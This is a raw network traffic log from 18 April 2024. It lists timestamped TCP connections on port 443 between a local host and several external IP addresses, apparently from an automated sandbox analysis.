Apr 18, 2024 22:48:41.323263884 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.540946960 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.541219950 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.541237116 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.544840097 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.544975996 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.545665979 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.545732975 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.545908928 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.545917034 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.597559929 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.803242922 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.803292036 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.803325891 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.803352118 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.803376913 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.803385019 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.803411961 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.803433895 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.803443909 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.803457975 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.803467035 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.803505898 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.803514957 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.803888083 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.803915024 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.803936958 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.803941011 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.803952932 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.803976059 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.804617882 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.804647923 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.804676056 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.804677010 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.804688931 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.804725885 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.804737091 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.804765940 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.804778099 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.804785013 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.804825068 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.805573940 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.805624962 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.805650949 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.805674076 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.805692911 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.805701017 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.805732012 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.806442022 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.806468010 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.806487083 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.806493044 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.806502104 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.806535006 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.806543112 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.806586027 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.806591988 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.806608915 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.806760073 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:41.806770086 CEST	443	49739	104.17.24.14	192.168.2.5
Apr 18, 2024 22:48:41.806783915 CEST	49739	443	192.168.2.5	104.17.24.14
Apr 18, 2024 22:48:42.335746050 CEST	49740	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:42.335836887 CEST	443	49740	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:42.335931063 CEST	49740	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:42.336067915 CEST	49741	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:42.336165905 CEST	443	49741	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:42.336235046 CEST	49741	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:42.336457014 CEST	49742	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:42.336489916 CEST	443	49742	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:42.336538076 CEST	49742	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:42.337201118 CEST	49743	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:42.337224007 CEST	443	49743	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:42.337321997 CEST	49743	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:42.340923071 CEST	49743	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:42.340940952 CEST	443	49743	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:42.341141939 CEST	49742	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:42.341171026 CEST	443	49742	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:42.341291904 CEST	49741	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:42.341327906 CEST	443	49741	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:42.341687918 CEST	49740	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:42.341727018 CEST	443	49740	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:42.666008949 CEST	443	49740	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:42.667620897 CEST	443	49743	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:42.672362089 CEST	443	49741	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:42.672408104 CEST	443	49742	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:42.708796024 CEST	49740	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:42.726310015 CEST	49742	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:42.726310968 CEST	49743	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:42.726355076 CEST	49741	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.123198032 CEST	49742	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.123224020 CEST	443	49742	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.123591900 CEST	49741	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.123648882 CEST	443	49741	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.123794079 CEST	49743	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.123814106 CEST	443	49743	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.123960972 CEST	49740	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.124005079 CEST	443	49740	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.124784946 CEST	49744	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:43.124891043 CEST	443	49744	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:43.124959946 CEST	49744	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:43.125410080 CEST	443	49741	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.125426054 CEST	443	49741	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.125471115 CEST	49741	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.126136065 CEST	49744	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:43.126152992 CEST	443	49744	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:43.126542091 CEST	443	49742	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.126559973 CEST	443	49742	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.126599073 CEST	49742	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.127724886 CEST	443	49743	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.127757072 CEST	443	49743	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.127785921 CEST	49743	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.127782106 CEST	443	49740	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.127860069 CEST	49740	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.134074926 CEST	49741	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.134171009 CEST	49742	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.134200096 CEST	443	49741	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.134272099 CEST	443	49742	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.134320974 CEST	49741	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.134335995 CEST	443	49741	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.134356976 CEST	49742	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.134366989 CEST	443	49742	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.177066088 CEST	49743	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.177136898 CEST	49741	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.189601898 CEST	49742	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.240422010 CEST	443	49742	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.240487099 CEST	443	49741	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.240638018 CEST	443	49742	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.240705967 CEST	49742	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.240782022 CEST	443	49741	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.240895033 CEST	49741	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.244378090 CEST	49742	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.244399071 CEST	443	49742	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.245893002 CEST	49741	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.245925903 CEST	443	49741	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.530030012 CEST	443	49744	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:43.530344009 CEST	49744	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:43.530385017 CEST	443	49744	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:43.531553984 CEST	443	49744	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:43.532031059 CEST	49744	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:43.532222986 CEST	49744	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:43.532237053 CEST	443	49744	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:43.584671974 CEST	49744	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:43.625315905 CEST	49740	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.625514984 CEST	443	49740	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.625636101 CEST	49740	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.625655890 CEST	443	49740	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.626080036 CEST	49743	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.626441002 CEST	443	49743	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.678441048 CEST	49743	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.678455114 CEST	443	49743	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.684168100 CEST	49740	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.724875927 CEST	49743	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.732589006 CEST	443	49740	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.732604980 CEST	443	49740	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.732673883 CEST	49740	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.732688904 CEST	443	49740	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.732733965 CEST	49740	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.741982937 CEST	49740	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.742002964 CEST	443	49740	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.845622063 CEST	49745	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.845648050 CEST	443	49745	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.845844984 CEST	49746	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.845884085 CEST	443	49746	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.845918894 CEST	49745	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.846096039 CEST	49747	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.846124887 CEST	443	49747	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.846157074 CEST	49746	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.846482038 CEST	49747	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.846484900 CEST	49746	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.846506119 CEST	443	49746	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.846921921 CEST	49745	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.846935987 CEST	443	49745	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.847553015 CEST	49747	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:43.847570896 CEST	443	49747	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:43.949095964 CEST	443	49744	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:43.949326038 CEST	443	49744	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:43.951261044 CEST	49744	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:43.955219030 CEST	49744	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:48:43.955248117 CEST	443	49744	85.31.237.222	192.168.2.5
Apr 18, 2024 22:48:44.167490959 CEST	443	49745	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.169054031 CEST	443	49746	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.173919916 CEST	443	49747	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.225392103 CEST	49745	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.225394011 CEST	49746	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.225647926 CEST	49747	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.249984980 CEST	49747	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.250000000 CEST	49746	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.250037909 CEST	443	49746	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.250077009 CEST	443	49747	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.250231981 CEST	49745	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.250243902 CEST	443	49745	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.251987934 CEST	443	49745	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.252006054 CEST	443	49745	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.252084017 CEST	49745	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.253520966 CEST	49745	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.253520966 CEST	49745	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.253635883 CEST	443	49745	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.253771067 CEST	443	49747	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.253804922 CEST	443	49747	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.253885031 CEST	49747	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.253997087 CEST	443	49746	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.254028082 CEST	443	49746	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.254123926 CEST	49746	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.254834890 CEST	49747	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.255038977 CEST	443	49747	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.255374908 CEST	49746	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.255475044 CEST	443	49746	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.255611897 CEST	49747	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.255621910 CEST	443	49747	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.255716085 CEST	49746	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.255728006 CEST	443	49746	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.303544044 CEST	49746	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.304146051 CEST	49745	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.304160118 CEST	443	49745	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.304204941 CEST	49747	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.350805998 CEST	49745	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.377410889 CEST	443	49745	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.377520084 CEST	443	49745	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.377820969 CEST	49745	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.380439997 CEST	49745	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.380460024 CEST	443	49745	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.380633116 CEST	443	49746	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.380695105 CEST	443	49746	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.380768061 CEST	443	49746	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.380800009 CEST	49746	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.381345987 CEST	49746	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.383768082 CEST	443	49747	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.383960962 CEST	443	49747	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.384078026 CEST	49747	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.404396057 CEST	49746	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.404417038 CEST	443	49746	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:44.408142090 CEST	49747	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:44.408178091 CEST	443	49747	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:47.551608086 CEST	443	49743	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:47.551706076 CEST	443	49743	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:47.551778078 CEST	49743	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:48.227396965 CEST	49743	443	192.168.2.5	13.107.246.41
Apr 18, 2024 22:48:48.227426052 CEST	443	49743	13.107.246.41	192.168.2.5
Apr 18, 2024 22:48:57.504041910 CEST	49750	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:57.504159927 CEST	443	49750	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:57.506757021 CEST	49750	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:57.506966114 CEST	49750	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:57.507003069 CEST	443	49750	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:57.728581905 CEST	443	49750	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:57.728938103 CEST	49750	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:57.729001999 CEST	443	49750	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:57.730155945 CEST	443	49750	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:57.730535030 CEST	49750	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:48:57.730720043 CEST	443	49750	104.18.2.35	192.168.2.5
Apr 18, 2024 22:48:57.771990061 CEST	49750	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:49:01.467381954 CEST	49751	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:01.467427015 CEST	443	49751	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:01.468254089 CEST	49751	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:01.472115993 CEST	49751	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:01.472132921 CEST	443	49751	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:01.870409966 CEST	443	49751	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:01.870690107 CEST	49751	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:01.870706081 CEST	443	49751	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:01.871205091 CEST	443	49751	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:01.871526957 CEST	49751	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:01.871613979 CEST	443	49751	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:01.871676922 CEST	49751	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:01.916125059 CEST	443	49751	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:02.284732103 CEST	443	49751	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:02.284861088 CEST	443	49751	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:02.284913063 CEST	49751	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:02.286714077 CEST	49751	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:02.286732912 CEST	443	49751	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:02.310369015 CEST	49752	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:02.310420036 CEST	443	49752	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:02.310472012 CEST	49752	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:02.310904980 CEST	49752	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:02.310915947 CEST	443	49752	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:02.709678888 CEST	443	49752	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:02.710022926 CEST	49752	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:02.710056067 CEST	443	49752	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:02.711266994 CEST	443	49752	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:02.711684942 CEST	49752	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:02.711776972 CEST	443	49752	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:02.711886883 CEST	49752	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:02.756128073 CEST	443	49752	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:03.122868061 CEST	443	49752	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:03.123065948 CEST	443	49752	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:03.124186039 CEST	49752	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:03.124186039 CEST	49752	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:03.428797960 CEST	49752	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:03.428843021 CEST	443	49752	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:12.718049049 CEST	443	49750	104.18.2.35	192.168.2.5
Apr 18, 2024 22:49:12.718137026 CEST	443	49750	104.18.2.35	192.168.2.5
Apr 18, 2024 22:49:12.718198061 CEST	49750	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:49:14.226888895 CEST	49750	443	192.168.2.5	104.18.2.35
Apr 18, 2024 22:49:14.226942062 CEST	443	49750	104.18.2.35	192.168.2.5
Apr 18, 2024 22:49:23.135910034 CEST	49755	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:23.135962963 CEST	443	49755	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:23.136142015 CEST	49755	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:23.137263060 CEST	49755	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:23.137284040 CEST	443	49755	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:23.535175085 CEST	443	49755	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:23.535511971 CEST	49755	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:23.535536051 CEST	443	49755	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:23.535901070 CEST	443	49755	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:23.536309004 CEST	49755	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:23.536382914 CEST	443	49755	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:23.536480904 CEST	49755	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:23.580116987 CEST	443	49755	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:23.585114002 CEST	49755	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:23.948254108 CEST	443	49755	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:23.948451042 CEST	443	49755	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:23.948520899 CEST	49755	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:23.950084925 CEST	49755	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:23.950118065 CEST	443	49755	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:24.001255035 CEST	49756	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:24.001348972 CEST	443	49756	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:24.001441002 CEST	49756	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:24.001930952 CEST	49756	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:24.001970053 CEST	443	49756	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:24.405261993 CEST	443	49756	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:24.405651093 CEST	49756	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:24.405714035 CEST	443	49756	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:24.406117916 CEST	443	49756	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:24.406789064 CEST	49756	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:24.406830072 CEST	49756	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:24.406862974 CEST	443	49756	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:24.459520102 CEST	49756	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:24.815290928 CEST	443	49756	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:24.815388918 CEST	443	49756	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:24.815455914 CEST	49756	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:24.815881014 CEST	49756	443	192.168.2.5	85.31.237.222
Apr 18, 2024 22:49:24.815927029 CEST	443	49756	85.31.237.222	192.168.2.5
Apr 18, 2024 22:49:25.633497953 CEST	49757	443	192.168.2.5	64.233.185.147
Apr 18, 2024 22:49:25.633589029 CEST	443	49757	64.233.185.147	192.168.2.5
Apr 18, 2024 22:49:25.633908987 CEST	49757	443	192.168.2.5	64.233.185.147
Apr 18, 2024 22:49:25.633991003 CEST	49757	443	192.168.2.5	64.233.185.147
